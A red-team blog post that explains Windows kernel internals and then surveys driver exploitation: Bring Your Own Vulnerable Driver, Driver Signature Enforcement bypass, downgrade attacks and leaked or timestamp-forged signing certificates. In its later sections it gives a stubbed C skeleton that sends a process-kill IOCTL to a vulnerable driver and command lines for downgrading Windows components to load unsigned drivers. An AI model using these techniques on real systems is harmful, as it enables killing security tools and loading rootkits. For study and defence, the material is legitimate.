Post

Pwning the Kernel: Inside Windows Internals & Driver Exploitation

Deep dive into Windows Internals, Kernel Internals & Driver Exploitation — Downgrade Attack, Vulnerable Drivers, Leaked Certificates, DSE Disabling

Pwning the Kernel: Inside Windows Internals & Driver Exploitation

Hi I’m DebuggerMan, a Red Teamer. In this post I will deep dive into Windows Internals & Kernel Internals & Driver Exploitation like: Downgrade Attack, Vulnerable Driver, Leaked Certificate, DSE Disabling.

What Is Kernel?

A kernel is the essential foundation of a computer’s operating system (OS). It’s the core that provides basic services for all other parts of the OS. It’s the main layer between the OS and underlying computer hardware, and it helps with tasks such as process and memory management, inter-process communication, file system management, device control and networking.

During normal system startup, a computer’s basic input/output system, or BIOS, completes a hardware bootstrap or initialization. It then runs a bootloader which loads the kernel from a storage device such as a hard drive — into a protected memory space. Once the kernel is loaded into computer memory, the BIOS transfers control to the kernel. It then loads other OS components to complete the system startup and make control available to users through a desktop or other user interface.

If the kernel is damaged or can’t load successfully, the computer won’t be able to start completely if at all. Service will be required to correct hardware damage or to restore the OS kernel to a working version.

Functions of the Kernel

1) Process Management: This function in the Kernel is responsible for scheduling and executing processes, including CPU scheduling in Operating System. Whenever a new process is started in the computer system, the Kernel acts as the intermediary layer, ensuring the smooth flow and proper functioning of that process until its completion.

2) Memory Management: When there is a free memory space in the system Kernel manages the allocation and deallocation of the memory spaces. It also handles the task of protection and sharing of memory within the computer system.

3) Device Management: The Kernel has the list of all the devices that are connected to the computer system through the connectors or system drivers. Drivers like mice, keyboards, monitors are applications of the computer that run in Kernel mode and allow the operating system to communicate with them.

4) Resource Management: The Kernel allocates computers resources between the several applications that are running in the system. Resource Management also controls the communication between the processes.

Types of Kernels

1) Monolithic Kernel — A complex line of codes in which all types of operating system services operate in the Kernel space and have dependencies between system components. This also includes all the devices, drivers, file management system and other systems services.

2) Micro Kernel — Uses the minimalist approach and works in separate address spaces from the Kernel. It uses message passing for the communication protocol, which sends the data, signals and functions to the correct processes.

3) Hybrid Kernel — The blend of both Monolithic and Micro Kernel which is also known as Modular Kernel. It combines the features of both the Kernels and has speed, design, modularity and stability. Mostly hybrid Kernel is used in commercial operating systems to increase the speed and functionality of systems.

4) Exo Kernel — Follows the end-to-end principle and allocates physical resources to the applications. This operating system allows higher customisation and potential performance gains, but it is also complex to manage.

5) Nano Kernel — The smaller version and very lightweight than other Kernels which only handles the minimum number of tasks, such as context switching and abstraction of hardware.

Structure Inside ntoskrnl.exe

In general, ntoskrnl.exe is the kernel image of the Windows operating system. It includes both the executive and the kernel layers of Windows NT, which are responsible for memory management, process handling and hardware abstraction. Also, ntoskrnl.exe contains the SRM (Security Reference Monitor), cache manager, scheduler and more. Overall, although in the Subsystem field of the PE header “ntoskrnl.exe” is defined as Native, it is not linked with ntdll.exe as other user-mode native applications — as shown in the screenshot below which was taken using PE Explorer:

PE Explorer - ntoskrnl.exe Subsystem Native PE Explorer showing ntoskrnl.exe with Subsystem = Native

Due to that, ntoskrnl.exe needs a static copy of the C runtime (think about functions like strcmp, strcpy, strcpy_s, strlen and more) — as shown in the imports below:

PE Explorer - ntoskrnl.exe Imports PE Explorer showing ntoskrnl.exe imports (C runtime static copy)

For a reference implementation we can check out the ReactOS source code.

Executive (upper layer)

The Windows NT executive contains the base OS services, such as: memory management, process and thread management, security, I/O, interprocess communication.

Kernel Core (lower layer)

The Windows NT kernel performs low-level OS functions, such as:

  • Thread scheduling
  • Interrupt and exception dispatching
  • Multiprocessor synchronization

It also provides a set of routines and basic objects that the rest of the executive uses to implement higher-level constructs.

Windows Internals

Process

Container that separates applications from each other. It manages Threads, Handles, Token, Memory.

  • It doesn’t run anything — the Thread runs code
  • Uniquely identified by its Process ID (PID), not by its executable file
  • If the process gets destroyed, another process may reuse its PID
  • Each process has its own address space, its own threads, its own handle table, its own token, its own unique process ID
  • A process can be parentless or run under a parent process
  • If the parent process dies, the child process is unaffected
  • Every process has an integrity level which defines what the process is able to do
  • Some processes are protected to prevent them from being tampered with, terminated or injected by unauthorized processes

Creation APIs: CreateProcessW, CreateProcessAsUserW, CreateProcessWithLogonW — all call kernel (NtCreateUserProcess).

Memory

Each process has separate virtual memory.

Allocation interfaces:

  • Virtual: VirtualAlloc, VirtualFree, VirtualProtect
  • Heap: HeapAlloc, HeapReAlloc, HeapFree
  • Memory-mapped: CreateFileMappingA, MapViewOfFile

Access Tokens & Privileges

Each process has an access token (User SID, Group SIDs, Privileges).

Privileges must be enabled via AdjustTokenPrivileges to perform system operations.

Powerful examples: SeDebugPrivilege, SeLoadDriverPrivilege, SeCreateTokenPrivilege.

Access Token & Privileges svchost.exe Token properties — NT AUTHORITY\SYSTEM with privileges like SeDebugPrivilege

Termination

  • Graceful: ExitProcess — allows cleanup
  • Ungraceful: TerminateProcess — stops all threads immediately, may cause data loss

Thread

Execution unit inside a process, contains CPU state and call stack.

APIs: CreateThread (same process), CreateRemoteThread (other process) — kernel (NtCreateRemoteThreadEx).

Types:

  • Main Thread: Executes the main function
  • Threads Created by Code via CreateThread: Executes specific functions or tasks defined by the programmer, running concurrently with the main thread and other threads
  • Worker Threads: Perform cleanups, resource management

States:

  • Waiting: The thread is paused, awaiting an event or condition before it can continue execution
  • Ready: The thread is prepared to execute but is waiting for processor availability
  • Running: The thread is actively executing code on a processor

Access Mode:

  • User Mode: The thread operates with limited privileges, interacting with user-space memory and executing user code. The thread uses the user mode stack during this mode
  • Kernel Mode: The thread operates with elevated privileges, allowing direct interaction with hardware and system resources. When a thread switches from user mode to kernel mode (e.g., during a system call), it begins using the kernel mode stack

Thread Stacks:

  • User Mode Stack: Resides in the process’s user space. Used for local variables, function parameters, and return addresses during user mode execution. Starts with a small committed space, grows dynamically as needed
  • Kernel Mode Stack: Resides in kernel space. Smaller and fixed compared to the user mode stack (12 KB on 32-bit systems, 24 KB on 64-bit systems)

Handles

Table of Handles: Kernel exposes different types of objects for use by user mode processes, accessed indirectly through Handles. Every process has a private handle table to kernel objects. Each handle has a unique Value, a Type, a Name and the Access Mask.

Handles Table svchost.exe Handles table — showing handle values, types, and names

Integrity Levels

Low (0x1000)

  • Least trusted, interacts only with Low processes
  • Can write to %USERPROFILE%\AppData\LocalLow and limited registry access

Medium (0x2000)

  • Default for most user apps (Explorer, Word)
  • Interacts with Medium & Low processes
  • Can write to user folders (Documents, Downloads, Desktop, AppData\Roaming)
  • Registry: HKEY_CURRENT_USER

High (0x3000)

  • Apps with admin privileges
  • Interacts with High, Medium, Low
  • Can write to System dirs (C:\Windows, Program Files) and full registry access

System (0x4000)

  • Reserved for OS core components
  • Interacts with all levels
  • Full access to files & registry

WinDbg - lsass.exe process WinDbg showing !process 0 1 lsass.exe — EPROCESS details

1
2
3
4
5
6
!process 0 1 lsass.exe
PROCESS ffffa10c`12345678

dt nt!_EPROCESS ffffa10c`12345678

dt nt!_PS_PROTECTION ffffa10c`12345678+87a

Privilege Rings

x86 CPUs have four main rings (0-3)

  • Ring 0 = Kernel Mode (highest privilege)
  • Ring 3 = User Mode (lowest privilege)
  • Rings 1 & 2 = unused in modern OS (Windows/Linux)

Memory segments and privilege levels

Each memory segment has a Current Privilege Level (CPL, 0-3).

Code can access memory at the same or lower privilege level (same or higher ring number):

  • Ring 0 code can access Ring 0-3 memory
  • Ring 3 code can only access Ring 3 memory

Ring transitions

Ring 3 to Ring 0 transitions happen via SYSCALL/SYSENTER (used for safe system calls).

Additional higher-privilege rings

  • Ring -1 = VMX (Virtual Machine Extension) — allows guest OS to run as Ring 0 while host stays protected
  • Ring -2 = SMM (System Management Mode) — for ultra-low-level tasks like power management, BIOS/UEFI functions

VM vs Container

VM:

  • Separate Kernel (Guest OS) — full isolation, User Mode inside Guest OS
  • Heavy — needs full OS. Example: VMware, VirtualBox

Container:

  • Shares same (main) Kernel — lighter isolation, User Mode runs on Host Kernel
  • Lightweight — only apps + dependencies. Example: Docker, LXC

Hardware Abstraction Layer (HAL)

  • Loadable kernel mode module (hal.dll)
  • A layer of software routines for supporting different hardware with same software
  • Isolates Kernel and Executive from platform specific details
  • Abstracts hardware dependent details such as I/O interfaces, interrupt controllers, etc.
  • Key factor facilitating Windows portability
  • HalDispatchTable holds the addresses of some HAL routines

What is a Driver?

A driver is a software layer that allows the operating system to communicate with hardware. Applications call the operating system, the operating system calls the driver, and the driver communicates with the device hardware and returns the data back through the same path.

Main types of drivers

1- Function Driver: The primary driver that directly controls the hardware and implements the device’s core functionality. Example: GPU driver, USB mouse driver.

2- Filter Driver: A driver that sits in the driver stack to monitor, modify, or filter I/O requests. It does not control hardware directly. Example: Antivirus file system filters, audio enhancement drivers.

3- Bus Driver: Manages the communication bus (such as USB or PCIe), handles device enumeration, and allocates system resources. Example: USB host controller driver, PCIe bus driver.

4- Software Driver: A kernel-mode driver not associated with physical hardware, used to access protected system resources. Example: Security monitoring drivers, virtual or diagnostic drivers.

IRP

I/O Request Packet (IRP) is a structure used by Windows drivers to communicate with each other and with the Operating System:

  • IRP encapsulates all the parameters used by the driver to perform the specific I/O operation
  • IRP is passed from the top to bottom of the driver stack
  • IRPs are generally created by Windows I/O Manager to describe an I/O request

Driver Object & Dispatch Table Driver Object structure — DEVICE_OBJECT, DRIVER_OBJECT, and the IRP Dispatch Table

IRP Major Function Codes IRP Major Function codes — IRP_MJ_CREATE, IRP_MJ_DEVICE_CONTROL (0x0E = 14), etc.

IRP Internals IRP Internals — IO_STACK_LOCATION, MajorFunction, Parameters, and DeviceIoControl flow

IOCTL

I/O Control Code is used by the user mode application to communicate with the driver, also for communication among drivers in the driver stack:

  • DeviceIoControl API is used to send the IOCTL to the target device
  • Depending on the IOCTL code the right IRP handler is invoked
  • There are two types of IOCTL codes: Public (Documented) & Private (Undocumented)

Public (documented): Officially defined by Microsoft, fully explained in MSDN / Microsoft Learn docs. Safe and standard for general use (e.g., disk queries, file controls).

Private (custom): Created by vendors (e.g., NVIDIA, antivirus companies), not documented by Microsoft. Often hidden/protected, used for vendor-specific features, and can be risky/vulnerable if exposed (common in exploits like BYOVD).

IOCTL code structure — a large integer value composed of four main parts:

  • Device Type: Specifies the type of device (e.g., FILE_DEVICE_DISK, FILE_DEVICE_SERIAL, etc.)
  • Function Code: Identifies the specific function or command (what operation is being requested)
  • Transfer Type: Defines how data is transferred (Buffered, Direct, or Neither)
  • Required Access: Specifies the required permissions (such as FILE_READ_DATA or FILE_WRITE_DATA)

Example — Read IOCTL Code: 0x80002048

Exploitation Drivers

1- Vulnerable Driver (BYOVD)

BYOVD technique (Bring Your Own Vulnerable Driver)

If you need to kill a driver, let’s hunt on drivers:

  1. Reverse the driver with IDA Pro
  2. Go to the main function DriverEntry and dispatch routines
  3. Check function analysis, hunt for vulnerable IOCTL handlers

Go to MajorFunction[14] (i.e. IRP_MJ_DEVICE_CONTROL) — this is the IOCTL handler

Identify the symbolic link (e.g. \\.\test) to communicate with the driver (accessed from user-mode as CreateFile("\\\\.\\test", ...))

Identify the IOCTL code

Use the kernel-level access (ZwTerminateProcess) to kill target processes

Now you can write an exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <windows.h>
#include <stdio.h>

/* --- Definitions --- */

#define DEVICE_NAME     "\\\\.\\YourDriverDeviceName"    // hunted device name
#define IOCTL_CODE      CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

/* --- Input Structure --- */

typedef struct _KILL_REQUEST {
    DWORD  TargetPid;       // PID of the process to kill
} KILL_REQUEST, *PKILL_REQUEST;


/* --- Function Declarations --- */

HANDLE  OpenDriverDevice(LPCSTR deviceName);
BOOL    SendKillIoctl(HANDLE hDevice, DWORD ioctl, DWORD targetPid);
VOID    CleanupAndExit(HANDLE hDevice);


/* --- Main --- */

int main(int argc, char* argv[])
{
    HANDLE  hDevice     = INVALID_HANDLE_VALUE;
    DWORD   targetPid   = 0;

    // Parse PID from command line args
    // ...

    // Step 1: Open handle to the driver device
    hDevice = OpenDriverDevice(DEVICE_NAME);

    // Step 2: Send IOCTL to kill the target process
    SendKillIoctl(hDevice, IOCTL_CODE, targetPid);

    // Cleanup
    CleanupAndExit(hDevice);

    return 0;
}


/*
 *  OpenDriverDevice()
 *  Uses: CreateFile()
 *  Opens a handle to the vulnerable driver device
 */
HANDLE OpenDriverDevice(LPCSTR deviceName)
{
    HANDLE hDevice = INVALID_HANDLE_VALUE;
    // CreateFile(deviceName, GENERIC_READ | GENERIC_WRITE, ...)
    return hDevice;
}


/*
 *  SendKillIoctl()
 *  Uses: DeviceIoControl()
 *  Sends the IOCTL code with the target PID as input buffer
 */
BOOL SendKillIoctl(HANDLE hDevice, DWORD ioctl, DWORD targetPid)
{
    KILL_REQUEST    request     = { 0 };
    DWORD           bytesReturned = 0;
    BOOL            result      = FALSE;

    // Fill request struct with targetPid
    // DeviceIoControl(hDevice, ioctl, &request, sizeof(request), ...)
    return result;
}


/*
 *  CleanupAndExit()
 *  Uses: CloseHandle()
 *  Closes the driver handle and performs cleanup
 */
VOID CleanupAndExit(HANDLE hDevice)
{
    // CloseHandle(hDevice)
}

2- DSE Disabling

Driver Signature Enforcement (DSE) is a security feature in the Windows operating system, first introduced in Windows Vista x64. Its primary purpose is to ensure that only digitally signed drivers are allowed to load into the kernel, preventing malicious or untrusted code from executing at a privileged level.

DSE is enforced by a kernel component called CI.dll (Code Integrity).

This module relies on a 1-byte global variable named g_CiOptions to determine the current enforcement state.

g_CiOptions values:

  • 0x6 — DSE enabled
  • 0x0 — DSE disabled
  • 0xE — Test Signing mode enabled

To check DSE status on WinDbg:

1
db ci!g_CiOptions L1

DSE Disabling Restrictions:

  • ci!g_CiOptions is protected by PatchGuard since Windows 8.1
  • PatchGuard and HyperGuard block kernel memory tampering
  • VBS (Windows 10+) uses Hyper-V and hardware virtualization to isolate the kernel
  • These protections together make disabling DSE very difficult

3- Downgrade Attack

This approach allows attackers to:

  • Reintroduce previously patched vulnerabilities
  • Bypass DSE without exploiting memory corruption
  • Perform the attack in a legitimate and trusted update flow, making it fully undetectable
  • Maintain persistence, since future Windows updates do not overwrite the downgraded components

Windows Update Takeover — Automation Attack:

1
2
3
4
5
# The downgrade process can be automated using the WindowsDowndate tool:
windows_downdate.exe --config-xml examples/ItsNotASecurityBoundary-Patch-Downgrade/Config.xml

# After downgrading the required components, unsigned drivers can be loaded using:
ItsNotASecurityBoundary.exe <UnsignedDriverPath.sys>

References:

4- Leaked Certificate

Starting with Windows 10 version 1607 (2016), Microsoft required all new third-party drivers to be officially signed through WHQL.

However, there was an exception: if the signing certificate was issued before July 29, 2015, Windows would still accept it — even for newly built drivers.

Attackers discovered they could manipulate the driver’s timestamp to make it appear signed before 2015, even if it was signed recently. They use open-source tools like HookSignTool to do this.

As a result, a malicious driver (malware, rootkit, or cheat) can be loaded into the Windows kernel, gaining full system-level control.

After this loophole was patched, attackers began searching for leaked or stolen certificates instead. They use these compromised certificates to digitally sign malicious drivers so they appear legitimate and can still be loaded into the Windows kernel.


See Next Part: Debugging Kernel Exploitation


Follow me on X: @0XDbgMan

This post is licensed under CC BY 4.0 by the author.